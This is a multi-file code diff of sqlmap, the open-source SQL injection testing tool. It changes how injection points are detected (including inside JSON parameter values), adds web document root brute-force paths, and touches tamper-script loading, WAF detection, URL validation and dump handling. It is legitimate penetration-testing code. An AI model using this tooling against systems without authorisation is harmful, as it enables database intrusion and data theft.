            comment = kb.injection.data[kb.technique].comment if comment is None else comment

-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and "--" in (comment or ""):
+        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
            comment = queries[DBMS.ACCESS].comment.query

        if comment is not None:
@@ -721,8 +721,11 @@ class Agent(object):

        if conf.uFrom:
            fromTable = " FROM %s" % conf.uFrom
-        else:
-            fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
+        elif not fromTable:
+            if kb.tableFrom:
+                fromTable = " FROM %s" % kb.tableFrom
+            else:
+                fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")

        if query.startswith("SELECT "):
            query = query[len("SELECT "):]
@@ -996,12 +999,13 @@ class Agent(object):

    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
-        select = re.search("\ASELECT\s+", expression, re.I)
-        selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)

        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)

-        if selectTopExpr:
+        if selectTopExpr or selectMinMaxExpr:
            lengthExpr = lengthQuery % ("(%s)" % expression)
        elif select:
            lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -15,6 +15,7 @@ import os
 import sys
 import tempfile

+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
 from lib.core.settings import BIGARRAY_CHUNK_SIZE

@@ -91,7 +92,7 @@ class BigArray(list):

    def _dump(self, chunk):
        try:
-            handle, filename = tempfile.mkstemp()
+            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
            self.filenames.add(filename)
            os.close(handle)
            with open(filename, "w+b") as fp:
@@ -72,6 +72,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OS
 from lib.core.enums import PLACE
 from lib.core.enums import PAYLOAD
@@ -103,6 +104,7 @@ from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_MARK_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
+from lib.core.settings import FILE_PATH_REGEXES
 from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
@@ -304,7 +306,7 @@ class Backend:

        # Little precaution, in theory this condition should always be false
        elif kb.dbms is not None and kb.dbms != dbms:
-            warnMsg = "there seems to be a high probability that "
+            warnMsg = "there appears to be a high probability that "
            warnMsg += "this could be a false positive case"
            logger.warn(warnMsg)

@@ -318,6 +320,8 @@ class Backend:
                _ = readInput(msg, default=kb.dbms)

                if aliasToDbmsEnum(_) == kb.dbms:
+                    kb.dbmsVersion = []
+                    kb.resolutionDbms = kb.dbms
                    break
                elif aliasToDbmsEnum(_) == dbms:
                    kb.dbms = aliasToDbmsEnum(_)
@@ -581,7 +585,7 @@ def paramToDict(place, parameters=None):
                if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                    _ = urldecode(testableParameters[parameter], convall=True)
                    if (_.endswith("'") and _.count("'") == 1
-                      or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\
+                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                        warnMsg = "it appears that you have provided tainted parameter values "
                        warnMsg += "('%s') with most probably leftover " % element
@@ -601,37 +605,77 @@ def paramToDict(place, parameters=None):
                        logger.warn(warnMsg)

                if place in (PLACE.POST, PLACE.GET):
-                    regex = r"\A([^\w]+.*\w+)([^\w]+)\Z"
-                    match = re.search(regex, testableParameters[parameter])
-                    if match:
-                        _ = re.sub(regex, "\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, testableParameters[parameter])
-                        message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
-                        message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
-                        test = readInput(message, default="N")
-                        if test[0] in ("y", "Y"):
-                            testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
+                    for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
+                        match = re.search(regex, testableParameters[parameter])
+                        if match:
+                            try:
+                                candidates = OrderedDict()

-    if conf.testParameter and not testableParameters:
-        paramStr = ", ".join(test for test in conf.testParameter)
+                                def walk(head, current=None):
+                                    current = current or head
+                                    if isListLike(current):
+                                        for _ in current:
+                                            walk(head, _)
+                                    elif isinstance(current, dict):
+                                        for key in current.keys():
+                                            value = current[key]
+                                            if isinstance(value, (list, tuple, set, dict)):
+                                                walk(head, value)
+                                            elif isinstance(value, (bool, int, float, basestring)):
+                                                original = current[key]
+                                                if isinstance(value, bool):
+                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                else:
+                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
+                                                candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
+                                                current[key] = original

-        if len(conf.testParameter) > 1:
-            warnMsg = "provided parameters '%s' " % paramStr
-            warnMsg += "are not inside the %s" % place
-            logger.warn(warnMsg)
-        else:
-            parameter = conf.testParameter[0]
+                                deserialized = json.loads(testableParameters[parameter])
+                                walk(deserialized)

-            if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
-                debugMsg = "provided parameter '%s' " % paramStr
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                                if candidates:
+                                    message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                                    message += "is JSON deserializable. Do you want to inject inside? [y/N] "
+                                    test = readInput(message, default="N")
+                                    if test[0] in ("y", "Y"):
+                                        del testableParameters[parameter]
+                                        testableParameters.update(candidates)
+                                    break
+                            except (KeyboardInterrupt, SqlmapUserQuitException):
+                                raise
+                            except Exception:
+                                pass

-    elif len(conf.testParameter) != len(testableParameters.keys()):
-        for parameter in conf.testParameter:
-            if parameter not in testableParameters:
-                debugMsg = "provided parameter '%s' " % parameter
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                            _ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
+                            message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                            message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
+                            test = readInput(message, default="N")
+                            if test[0] in ("y", "Y"):
+                                testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
+                            break
+
+    if conf.testParameter:
+        if not testableParameters:
+            paramStr = ", ".join(test for test in conf.testParameter)
+
+            if len(conf.testParameter) > 1:
+                warnMsg = "provided parameters '%s' " % paramStr
+                warnMsg += "are not inside the %s" % place
+                logger.warn(warnMsg)
+            else:
+                parameter = conf.testParameter[0]
+
+                if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
+                    debugMsg = "provided parameter '%s' " % paramStr
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)
+
+        elif len(conf.testParameter) != len(testableParameters.keys()):
+            for parameter in conf.testParameter:
+                if parameter not in testableParameters:
+                    debugMsg = "provided parameter '%s' " % parameter
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)

    if testableParameters:
        for parameter, value in testableParameters.items():
@@ -641,7 +685,7 @@ def paramToDict(place, parameters=None):
                        decoded = value.decode(encoding)
                        if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded):
                            warnMsg = "provided parameter '%s' " % parameter
-                            warnMsg += "seems to be '%s' encoded" % encoding
+                            warnMsg += "appears to be '%s' encoded" % encoding
                            logger.warn(warnMsg)
                            break
                    except:
@@ -689,7 +733,7 @@ def getManualDirectories():
        infoMsg = "retrieved the web server document root: '%s'" % directories
        logger.info(infoMsg)
    else:
-        warnMsg = "unable to retrieve automatically the web server "
+        warnMsg = "unable to automatically retrieve the web server "
        warnMsg += "document root"
        logger.warn(warnMsg)

@@ -728,9 +772,14 @@ def getManualDirectories():

                for suffix in BRUTE_DOC_ROOT_SUFFIXES:
                    for target in targets:
-                        item = "%s/%s" % (prefix, suffix)
+                        if not prefix.endswith("/%s" % suffix):
+                            item = "%s/%s" % (prefix, suffix)
+                        else:
+                            item = prefix
+
                        item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
-                        directories.append(item)
+                        if item not in directories:
+                            directories.append(item)

                        if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
                            break
@@ -884,7 +933,6 @@ def dataToDumpFile(dumpFile, data):
        else:
            raise

-
 def dataToOutFile(filename, data):
    retVal = None

@@ -892,8 +940,8 @@ def dataToOutFile(filename, data):
        retVal = os.path.join(conf.filePath, filePathToSafeString(filename))

        try:
-            with open(retVal, "w+b") as f:
-                f.write(data)
+            with open(retVal, "w+b") as f:  # has to stay as non-codecs because data is raw ASCII encoded data
+                f.write(unicodeencode(data))
        except IOError, ex:
            errMsg = "something went wrong while trying to write "
            errMsg += "to the output file ('%s')" % getSafeExString(ex)
@@ -963,9 +1011,13 @@ def readInput(message, default=None, checkBatch=True):
                retVal = raw_input() or default
                retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
            except:
-                time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
-                kb.prependFlag = True
-                raise SqlmapUserQuitException
+                try:
+                    time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
+                except:
+                    pass
+                finally:
+                    kb.prependFlag = True
+                    raise SqlmapUserQuitException

            finally:
                logging._releaseLock()
@@ -1148,7 +1200,7 @@ def setPaths():
    paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")

    _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
-    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
+    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

@@ -1335,8 +1387,8 @@ def parseTargetUrl():
    except UnicodeError:
        _ = None

-    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))):
-        errMsg = "invalid target URL"
+    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+        errMsg = "invalid target URL ('%s')" % originalUrl
        raise SqlmapSyntaxException(errMsg)

    if len(hostnamePort) == 2:
@@ -1350,12 +1402,19 @@ def parseTargetUrl():
    else:
        conf.port = 80

-    if urlSplit.query:
-        conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+    if conf.port < 0 or conf.port > 65535:
+        errMsg = "invalid target URL's port (%d)" % conf.port
+        raise SqlmapSyntaxException(errMsg)

    conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
    conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')

+    if urlSplit.query:
+        if '=' not in urlSplit.query:
+            conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
+        else:
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+
    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
        debugMsg = "setting the HTTP Referer header to the target URL"
        logger.debug(debugMsg)
@@ -1485,7 +1544,7 @@ def parseFilePaths(page):
    """

    if page:
-        for regex in (r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)"):
+        for regex in FILE_PATH_REGEXES:
            for match in re.finditer(regex, page):
                absFilePath = match.group("result").strip()
                page = page.replace(absFilePath, "")
@@ -1861,7 +1920,7 @@ def parseXmlFile(xmlFile, handler):
        with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
            parse(stream, handler)
    except (SAXParseException, UnicodeError), ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -1919,8 +1978,8 @@ def readCachedFileContent(filename, mode='rb'):
            if filename not in kb.cache.content:
                checkFile(filename)
                try:
-	                with openFile(filename, mode) as f:
-	                    kb.cache.content[filename] = f.read()
+                    with openFile(filename, mode) as f:
+                        kb.cache.content[filename] = f.read()
                except (IOError, OSError, MemoryError), ex:
                    errMsg = "something went wrong while trying "
                    errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
@@ -2816,7 +2875,7 @@ def setOptimize():
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))

    if not conf.nullConnection:
-        debugMsg = "turning off --null-connection switch used indirectly by switch -o"
+        debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
        logger.debug(debugMsg)

 def initTechnique(technique=None):
@@ -3004,7 +3063,10 @@ def decodeIntToUnicode(value):
                    _ = "0%s" % _
                raw = hexdecode(_)

-                if Backend.isDbms(DBMS.MSSQL):
+                if Backend.isDbms(DBMS.MYSQL):
+                    # https://github.com/sqlmapproject/sqlmap/issues/1531
+                    retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
+                elif Backend.isDbms(DBMS.MSSQL):
                    retVal = getUnicode(raw, "UTF-16-BE")
                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
                    retVal = unichr(value)
@@ -3283,7 +3345,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                retVal = "\"%s\"" % retVal.strip("\"")
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                retVal = "\"%s\"" % retVal.strip("\"").upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U):
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
                retVal = "[%s]" % retVal.strip("[]")

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
@@ -3922,7 +3984,7 @@ def resetCookieJar(cookieJar):

                content = readCachedFileContent(conf.loadCookies)
                lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#')))
-                handle, filename = tempfile.mkstemp(prefix="sqlmapcj-")
+                handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
                os.close(handle)

                # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
@@ -160,7 +160,7 @@ def htmlunescape(value):
        codes = (('&lt;', '<'), ('&gt;', '>'), ('&quot;', '"'), ('&nbsp;', ' '), ('&amp;', '&'))
        retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
        try:
-            retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
+            retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
        except ValueError:
            pass
    return retVal
@@ -8,8 +8,6 @@ See the file 'doc/COPYING' for copying permission
 import copy
 import types

-from lib.core.exception import SqlmapDataException
-
 class AttribDict(dict):
    """
    This class defines the sqlmap object, inheriting from Python data
@@ -43,7 +41,7 @@ class AttribDict(dict):
        try:
            return self.__getitem__(item)
        except KeyError:
-            raise SqlmapDataException("unable to access item '%s'" % item)
+            raise AttributeError("unable to access item '%s'" % item)

    def __setattr__(self, item, value):
        """
@@ -93,6 +91,7 @@ class InjectionDict(AttribDict):
        self.prefix = None
        self.suffix = None
        self.clause = None
+        self.notes = []  # Note: https://github.com/sqlmapproject/sqlmap/issues/1888

        # data is a dict with various stype, each which is a dict with
        # all the information specific for that stype
@@ -15,10 +15,13 @@ def cachedmethod(f, cache={}):
    def _(*args, **kwargs):
        try:
            key = (f, tuple(args), frozenset(kwargs.items()))
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
        except:
            key = "".join(str(_) for _ in (f, args, kwargs))
-        if key not in cache:
-            cache[key] = f(*args, **kwargs)
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
+
        return cache[key]

    return _
@@ -234,6 +234,6 @@ DUMP_DATA_PREPROCESS = {
                       }

 DEFAULT_DOC_ROOTS = {
-                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"),
-                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
+                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
                    }
@@ -9,6 +9,7 @@ import cgi
 import hashlib
 import os
 import re
+import shutil
 import tempfile
 import threading

@@ -449,8 +450,23 @@ class Dump(object):
                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+            else:
+                appendToFile = any((conf.limitStart, conf.limitStop))
+
+                if not appendToFile:
+                    count = 1
+                    while True:
+                        candidate = "%s.%d" % (dumpFileName, count)
+                        if not checkFile(candidate, False):
+                            try:
+                                shutil.copyfile(dumpFileName, candidate)
+                            except IOError:
+                                pass
+                            finally:
+                                break
+                        else:
+                            count += 1

-            appendToFile = any((conf.limitStart, conf.limitStop)) and checkFile(dumpFileName, False)
            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)

        count = int(tableValues["__infos__"]["count"])
@@ -194,6 +194,7 @@ class OPTION_TYPE:

 class HASHDB_KEYS:
    DBMS = "DBMS"
+    DBMS_FORK = "DBMS_FORK"
    CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
    CONF_TMP_PATH = "CONF_TMP_PATH"
    KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -351,3 +352,15 @@ class AUTOCOMPLETE_TYPE:
    SQL = 0
    OS = 1
    SQLMAP = 2
+
+class NOTE:
+    FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
+
+class MKSTEMP_PREFIX:
+    HASHES = "sqlmaphashes-"
+    CRAWLER = "sqlmapcrawler-"
+    IPC = "sqlmapipc-"
+    TESTING = "sqlmaptesting-"
+    RESULTS = "sqlmapresults-"
+    COOKIE_JAR = "sqlmapcookiejar-"
+    BIG_ARRAY = "sqlmapbigarray-"
@@ -127,12 +127,14 @@ from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import SUPPORTED_OS
 from lib.core.settings import TIME_DELAY_CANDIDATES
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.core.threads import setDaemon
 from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
@@ -384,7 +386,7 @@ def _loadQueries():
    try:
        tree.parse(paths.QUERIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -912,9 +914,9 @@ def _setTamperingFunctions():
                sys.path.insert(0, dirname)

            try:
-                module = __import__(filename[:-3].encode(sys.getfilesystemencoding()))
-            except (ImportError, SyntaxError), msg:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg))
+                module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
+            except (ImportError, SyntaxError), ex:
+                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__

@@ -925,7 +927,7 @@ def _setTamperingFunctions():
                    function.func_name = module.__name__

                    if check_priority and priority > last_priority:
-                        message = "it seems that you might have mixed "
+                        message = "it appears that you might have mixed "
                        message += "the order of tamper scripts. "
                        message += "Do you want to auto resolve this? [Y/n/q] "
                        test = readInput(message, default="Y")
@@ -997,6 +999,8 @@ def _setWafFunctions():
            else:
                kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3])))

+        kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower())
+
 def _setThreads():
    if not isinstance(conf.threads, int) or conf.threads <= 0:
        conf.threads = 1
@@ -1063,6 +1067,7 @@ def _setSocketPreConnect():
        socket.socket.connect = connect

        thread = threading.Thread(target=_)
+        setDaemon(thread)
        thread.start()

 def _setHTTPHandlers():
@@ -1544,18 +1549,36 @@ def _createTemporaryDirectory():
    Creates temporary directory for this run.
    """

-    try:
-        if not os.path.isdir(tempfile.gettempdir()):
-            os.makedirs(tempfile.gettempdir())
-    except IOError, ex:
-        errMsg = "there has been a problem while accessing "
-        errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-        errMsg += "make sure that there is enough disk space left. If problem persists, "
-        errMsg += "try to set environment variable 'TEMP' to a location "
-        errMsg += "writeable by the current user"
-        raise SqlmapSystemException, errMsg
+    if conf.tmpDir:
+        try:
+            if not os.path.isdir(conf.tmpDir):
+                os.makedirs(conf.tmpDir)

-    if "sqlmap" not in (tempfile.tempdir or ""):
+            _ = os.path.join(conf.tmpDir, randomStr())
+            open(_, "w+b").close()
+            os.remove(_)
+
+            tempfile.tempdir = conf.tmpDir
+
+            warnMsg = "using '%s' as the temporary directory" % conf.tmpDir
+            logger.warn(warnMsg)
+        except (OSError, IOError), ex:
+            errMsg = "there has been a problem while accessing "
+            errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
+            raise SqlmapSystemException, errMsg
+    else:
+        try:
+            if not os.path.isdir(tempfile.gettempdir()):
+                os.makedirs(tempfile.gettempdir())
+        except IOError, ex:
+            errMsg = "there has been a problem while accessing "
+            errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
+            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "try to set environment variable 'TEMP' to a location "
+            errMsg += "writeable by the current user"
+            raise SqlmapSystemException, errMsg
+
+    if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
        tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))

    kb.tempDir = tempfile.tempdir
@@ -1589,6 +1612,9 @@ def _cleanupOptions():
    else:
        conf.testParameter = []

+    if conf.agent:
+        conf.agent = re.sub(r"[\r\n]", "", conf.agent)
+
    if conf.user:
        conf.user = conf.user.replace(" ", "")

@@ -1653,10 +1679,20 @@ def _cleanupOptions():
        conf.testFilter = conf.testFilter.strip('*+')
        conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)

+        try:
+            re.compile(conf.testFilter)
+        except re.error:
+            conf.testFilter = re.escape(conf.testFilter)
+
    if conf.testSkip:
        conf.testSkip = conf.testSkip.strip('*+')
        conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)

+        try:
+            re.compile(conf.testSkip)
+        except re.error:
+            conf.testSkip = re.escape(conf.testSkip)
+
    if "timeSec" not in kb.explicitSettings:
        if conf.tor:
            conf.timeSec = 2 * conf.timeSec
@@ -1798,6 +1834,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.cache.regex = {}
    kb.cache.stdev = {}

+    kb.captchaDetected = None
+
    kb.chars = AttribDict()
    kb.chars.delimiter = randomStr(length=6, lowercase=True)
    kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
@@ -1806,6 +1844,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):

    kb.columnExistsChoice = None
    kb.commonOutputs = None
+    kb.cookieEncodeChoice = None
    kb.counters = {}
    kb.data = AttribDict()
    kb.dataOutputFlag = False
@@ -1828,6 +1867,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.extendTests = None
    kb.errorChunkLength = None
    kb.errorIsNone = True
+    kb.falsePositives = []
    kb.fileReadMode = False
    kb.followSitemapRecursion = None
    kb.forcedDbms = None
@@ -1837,6 +1877,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicMode = False
+    kb.heuristicPage = False
    kb.heuristicTest = None
    kb.hintValue = None
    kb.htmlFp = []
@@ -1895,6 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
    kb.requestCounter = 0
    kb.resendPostOnRedirect = None
+    kb.resolutionDbms = None
    kb.responseTimes = {}
    kb.responseTimeMode = None
    kb.responseTimePayload = None
@@ -1902,6 +1944,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.safeCharEncode = False
    kb.safeReq = AttribDict()
    kb.singleLogFlags = set()
+    kb.skipSeqMatcher = False
    kb.reduceTests = None
    kb.tlsSNI = {}
    kb.stickyDBMS = False
@@ -1909,6 +1952,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.storeCrawlingChoice = None
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
+    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
    kb.testMode = False
@@ -2297,7 +2341,7 @@ def _checkTor():
        page = None

    if not page or 'Congratulations' not in page:
-        errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
+        errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
        raise SqlmapConnectionException(errMsg)
    else:
        infoMsg = "Tor is properly being used"
@@ -2529,6 +2573,7 @@ def _resolveCrossReferences():
    lib.request.connect.setHTTPHandlers = _setHTTPHandlers
    lib.utils.search.setHTTPHandlers = _setHTTPHandlers
    lib.controller.checks.setVerbosity = setVerbosity
+    lib.controller.checks.setWafFunctions = _setWafFunctions

 def initOptions(inputOptions=AttribDict(), overrideOptions=False):
    _setConfAttributes()
@@ -136,6 +136,7 @@ optDict = {
                               "tbl":               "string",
                               "col":               "string",
                               "excludeCol":        "string",
+                               "pivotColumn":       "string",
                               "dumpWhere":         "string",
                               "user":              "string",
                               "excludeSysDbs":     "boolean",
@@ -189,6 +190,7 @@ optDict = {
                               #"xmlFile":           "string",
                               "trafficFile":       "string",
                               "batch":             "boolean",
+                               "binaryFields":      "string",
                               "charset":           "string",
                               "crawlDepth":        "integer",
                               "crawlExclude":      "string",
@@ -201,7 +203,6 @@ optDict = {
                               "hexConvert":        "boolean",
                               "outputDir":         "string",
                               "parseErrors":       "boolean",
-                               "pivotColumn":       "string",
                               "saveConfig":        "string",
                               "scope":             "string",
                               "testFilter":        "string",
@@ -217,22 +218,22 @@ optDict = {
                               "dependencies":      "boolean",
                               "disableColoring":   "boolean",
                               "googlePage":        "integer",
+                               "identifyWaf":       "boolean",
                               "mobile":            "boolean",
                               "offline":           "boolean",
                               "pageRank":          "boolean",
                               "purgeOutput":       "boolean",
